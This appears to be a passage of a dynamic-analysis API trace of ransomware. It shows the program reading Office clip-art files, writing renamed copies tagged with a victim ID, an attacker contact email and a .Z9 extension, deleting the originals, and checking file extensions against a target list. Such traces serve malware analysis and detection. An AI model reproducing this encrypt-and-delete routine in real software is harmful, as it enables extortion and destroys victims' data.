	[0184.894] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x30a0, lpOverlapped=0x0) returned 1
	[0184.896] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.896] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.896] SetEndOfFile (hFile=0x520) returned 1
	[0184.896] CloseHandle (hObject=0x520) returned 1
	[0184.896] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.896] SetEndOfFile (hFile=0x540) returned 1
	[0184.899] CloseHandle (hObject=0x540) returned 1
	[0184.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1
	[0184.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.900] lstrlenW (lpString=".doc") returned 4
	[0184.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.900] lstrlenW (lpString=".docx") returned 5
	[0184.900] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0184.900] lstrlenW (lpString=".pdf") returned 4
	[0184.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.901] lstrlenW (lpString=".xls") returned 4
	[0184.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.901] lstrlenW (lpString=".xlsx") returned 5
	[0184.901] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0184.901] lstrlenW (lpString=".ppt") returned 4
	[0184.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.901] lstrlenW (lpString=".zip") returned 4
	[0184.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.901] lstrlenW (lpString=".rar") returned 4
	[0184.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.901] lstrlenW (lpString=".bz2") returned 4
	[0184.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.901] lstrlenW (lpString=".7z") returned 3
	[0184.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.901] lstrlenW (lpString=".dbf") returned 4
	[0184.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.901] lstrlenW (lpString=".1cd") returned 4
	[0184.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.901] lstrlenW (lpString=".jpg") returned 4
	[0184.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.901] lstrlenW (lpString=".doc") returned 4
	[0184.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.901] lstrlenW (lpString=".docx") returned 5
	[0184.901] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0184.901] lstrlenW (lpString=".pdf") returned 4
	[0184.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.901] lstrlenW (lpString=".xls") returned 4
	[0184.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.902] lstrlenW (lpString=".xlsx") returned 5
	[0184.902] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0184.902] lstrlenW (lpString=".ppt") returned 4
	[0184.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.902] lstrlenW (lpString=".zip") returned 4
	[0184.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.902] lstrlenW (lpString=".rar") returned 4
	[0184.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.902] lstrlenW (lpString=".bz2") returned 4
	[0184.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.902] lstrlenW (lpString=".7z") returned 3
	[0184.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.902] lstrlenW (lpString=".dbf") returned 4
	[0184.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.902] lstrlenW (lpString=".1cd") returned 4
	[0184.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68
	[0184.902] lstrlenW (lpString=".jpg") returned 4
	[0184.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.902] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.902] lstrlenW (lpString="J0152688.WMF") returned 12
	[0184.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.904] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=34676) returned 1
	[0184.904] CloseHandle (hObject=0x540) returned 1
	[0184.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 0x220
	[0184.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.905] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.905] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.906] GetLastError () returned 0x0
	[0184.906] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x8774, lpOverlapped=0x0) returned 1
	[0184.909] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x8780, lpOverlapped=0x0) returned 1
	[0184.910] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.910] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.911] SetEndOfFile (hFile=0x520) returned 1
	[0184.911] CloseHandle (hObject=0x520) returned 1
	[0184.911] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.911] SetEndOfFile (hFile=0x540) returned 1
	[0184.914] CloseHandle (hObject=0x540) returned 1
	[0184.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 1
	[0184.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.915] lstrlenW (lpString=".doc") returned 4
	[0184.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.915] lstrlenW (lpString=".docx") returned 5
	[0184.915] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0184.915] lstrlenW (lpString=".pdf") returned 4
	[0184.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.915] lstrlenW (lpString=".xls") returned 4
	[0184.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.915] lstrlenW (lpString=".xlsx") returned 5
	[0184.915] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0184.915] lstrlenW (lpString=".ppt") returned 4
	[0184.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.916] lstrlenW (lpString=".zip") returned 4
	[0184.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.916] lstrlenW (lpString=".rar") returned 4
	[0184.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.916] lstrlenW (lpString=".bz2") returned 4
	[0184.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.916] lstrlenW (lpString=".7z") returned 3
	[0184.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.916] lstrlenW (lpString=".dbf") returned 4
	[0184.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.916] lstrlenW (lpString=".1cd") returned 4
	[0184.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.916] lstrlenW (lpString=".jpg") returned 4
	[0184.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.916] lstrlenW (lpString=".doc") returned 4
	[0184.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.916] lstrlenW (lpString=".docx") returned 5
	[0184.916] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0184.916] lstrlenW (lpString=".pdf") returned 4
	[0184.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.916] lstrlenW (lpString=".xls") returned 4
	[0184.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.916] lstrlenW (lpString=".xlsx") returned 5
	[0184.916] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0184.916] lstrlenW (lpString=".ppt") returned 4
	[0184.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.916] lstrlenW (lpString=".zip") returned 4
	[0184.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.917] lstrlenW (lpString=".rar") returned 4
	[0184.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.917] lstrlenW (lpString=".bz2") returned 4
	[0184.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.917] lstrlenW (lpString=".7z") returned 3
	[0184.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.917] lstrlenW (lpString=".dbf") returned 4
	[0184.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.917] lstrlenW (lpString=".1cd") returned 4
	[0184.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68
	[0184.917] lstrlenW (lpString=".jpg") returned 4
	[0184.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.917] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.917] lstrlenW (lpString="J0152690.WMF") returned 12
	[0184.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.979] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1268) returned 1
	[0184.979] CloseHandle (hObject=0x540) returned 1
	[0184.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 0x220
	[0184.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.980] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.980] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.981] GetLastError () returned 0x0
	[0184.981] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x4f4, lpOverlapped=0x0) returned 1
	[0185.012] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x500, lpOverlapped=0x0) returned 1
	[0185.014] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.014] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.014] SetEndOfFile (hFile=0x520) returned 1
	[0185.014] CloseHandle (hObject=0x520) returned 1
	[0185.014] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.014] SetEndOfFile (hFile=0x540) returned 1
	[0185.017] CloseHandle (hObject=0x540) returned 1
	[0185.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 1
	[0185.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.020] lstrlenW (lpString=".doc") returned 4
	[0185.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.020] lstrlenW (lpString=".docx") returned 5
	[0185.020] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0185.020] lstrlenW (lpString=".pdf") returned 4
	[0185.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.020] lstrlenW (lpString=".xls") returned 4
	[0185.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.020] lstrlenW (lpString=".xlsx") returned 5
	[0185.020] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0185.020] lstrlenW (lpString=".ppt") returned 4
	[0185.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.020] lstrlenW (lpString=".zip") returned 4
	[0185.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.020] lstrlenW (lpString=".rar") returned 4
	[0185.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.020] lstrlenW (lpString=".bz2") returned 4
	[0185.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.020] lstrlenW (lpString=".7z") returned 3
	[0185.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.020] lstrlenW (lpString=".dbf") returned 4
	[0185.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.020] lstrlenW (lpString=".1cd") returned 4
	[0185.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.021] lstrlenW (lpString=".jpg") returned 4
	[0185.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.021] lstrlenW (lpString=".doc") returned 4
	[0185.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.021] lstrlenW (lpString=".docx") returned 5
	[0185.021] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0185.021] lstrlenW (lpString=".pdf") returned 4
	[0185.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.021] lstrlenW (lpString=".xls") returned 4
	[0185.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.021] lstrlenW (lpString=".xlsx") returned 5
	[0185.021] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0185.021] lstrlenW (lpString=".ppt") returned 4
	[0185.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.021] lstrlenW (lpString=".zip") returned 4
	[0185.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.021] lstrlenW (lpString=".rar") returned 4
	[0185.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.021] lstrlenW (lpString=".bz2") returned 4
	[0185.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.021] lstrlenW (lpString=".7z") returned 3
	[0185.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.021] lstrlenW (lpString=".dbf") returned 4
	[0185.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.022] lstrlenW (lpString=".1cd") returned 4
	[0185.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68
	[0185.022] lstrlenW (lpString=".jpg") returned 4
	[0185.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.022] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.022] lstrlenW (lpString="J0152698.WMF") returned 12
	[0185.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0185.024] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1208) returned 1
	[0185.024] CloseHandle (hObject=0x540) returned 1
	[0185.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 0x220
	[0185.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0185.025] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.025] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0185.026] GetLastError () returned 0x0
	[0185.026] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x4b8, lpOverlapped=0x0) returned 1
